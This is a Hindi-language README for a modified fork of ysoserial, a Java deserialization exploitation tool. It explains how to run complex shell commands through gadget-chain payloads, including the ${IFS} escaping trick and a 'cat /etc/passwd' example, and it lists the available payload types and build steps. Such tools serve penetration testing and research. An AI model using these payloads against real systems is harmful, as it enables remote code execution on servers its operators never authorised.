
उस रिपॉजिटरी में प्रसिद्ध java deserialization exploitation टूल ysoserial के मेरे अपडेट शामिल हैं।
यह मूल ysoserial एप्लिकेशन का एक फोर्क है जिसे यहाँ पाया जा सकता है: https://github.com/frohoff/ysoserial
जिस तरह Runtime.getRuntime().exec(String.class) जावा में काम करता है, उसके कारण नेस्टेड और जटिल कमांड्स, जिनमें आपको पाइप्स को नियंत्रित करने या आउटपुट को फाइलों में भेजने की आवश्यकता होती है (जैसे: cat /etc/passwd > /tmp/passwd_copy), काम नहीं करेंगी, क्योंकि Runtime क्लास के exec() मेथड द्वारा निष्पादित कमांड किसी टर्मिनल वातावरण के अंदर निष्पादित नहीं होती है। एक संभावित हैक है "/bin/sh -c 'command'" को निष्पादित करना, लेकिन आपको 'command' में स्पेस कैरेक्टर को ${IFS} का उपयोग करके escape करना होगा, अन्यथा यह अपेक्षा के अनुसार काम नहीं करेगा। इस समस्या और संभावित समाधान (workaround) के बारे में अधिक जानकारी के लिए कृपया यह ब्लॉग पोस्ट पढ़ें, जो विवरणों में गहराई से जाएगा।
उस समस्या को हल करने का एक अच्छा उपाय यह है कि Runtime.getRuntime().exec(String[].class) मेथड को तर्क पास किए जाएँ, जो Strings की एक array की अपेक्षा करता है। सबसे अच्छा विकल्प निम्नलिखित निष्पादित करना है: Runtime.getRuntime().exec(new String[] {"/bin/sh", "-c", "command"})। इस तरह तर्क पास करने से, जावा समझ जाएगा कि आप /bin/bash को सही तरीके से तर्क -c और 'command' देकर निष्पादित कर रहे हैं, और आपकी कमांड एक टर्मिनल वातावरण के अंदर निष्पादित होगी, जिससे आप नेस्टेड या जटिल कमांड्स (| या ; के साथ) का उपयोग कर सकेंगे और इनपुट/आउटपुट (< और > के साथ) को भी नियंत्रित कर सकेंगे।
यह जानते हुए, मैंने ysoserial में एक कार्यक्षमता जोड़ी है जहाँ आप उस टर्मिनल का प्रकार देते हैं जिसका उपयोग आप अपनी कमांड निष्पादित करने के लिए करना चाहते हैं (cmd / bash / powershell या none), और मेरा संशोधन आपकी कमांड को उस टर्मिनल संदर्भ में निष्पादित करेगा, जिससे आप किसी भी जटिल कमांड को वैसे ही निष्पादित कर सकेंगे जैसे उसे काम करना चाहिए!
pimps@Scorpion:~/git/ysoserial-modified/target$ java -jar ysoserial-modified.jar
Y SO SERIAL?
Usage: java -jar ysoserial-[version]-all.jar [payload type] [terminal type: cmd / bash / powershell / none] '[command to execute]'
ex: java -jar ysoserial-[version]-all.jar CommonsCollections5 bash 'touch /tmp/ysoserial'
Available payload types:
BeanShell1 [org.beanshell:bsh:2.0b5]
C3P0 [com.mchange:c3p0:0.9.5.2, com.mchange:mchange-commons-java:0.2.11]
CommonsBeanutils1 [commons-beanutils:commons-beanutils:1.9.2, commons-collections:commons-collections:3.1, commons-logging:commons-logging:1.2]
CommonsCollections1 [commons-collections:commons-collections:3.1]
CommonsCollections2 [org.apache.commons:commons-collections4:4.0]
CommonsCollections3 [commons-collections:commons-collections:3.1]
CommonsCollections4 [org.apache.commons:commons-collections4:4.0]
CommonsCollections5 [commons-collections:commons-collections:3.1]
CommonsCollections6 [commons-collections:commons-collections:3.1]
FileUpload1 [commons-fileupload:commons-fileupload:1.3.1, commons-io:commons-io:2.4]
Groovy1 [org.codehaus.groovy:groovy:2.3.9]
Hibernate1 []
...
इस रिपॉजिटरी के /target डायरेक्टरी से संकलित jar डाउनलोड करें या यहाँ क्लिक करें
इसे स्वयं संकलित करने के लिए:
Java 1.7+ और Maven 3.x+ आवश्यक हैं
$ git clone https://github.com/pimps/ysoserial-modified.git
$ cd ysoserial-modified
$ mvn clean package -DskipTests
jar फ़ाइल target डायरेक्टरी पर स्थित होगी।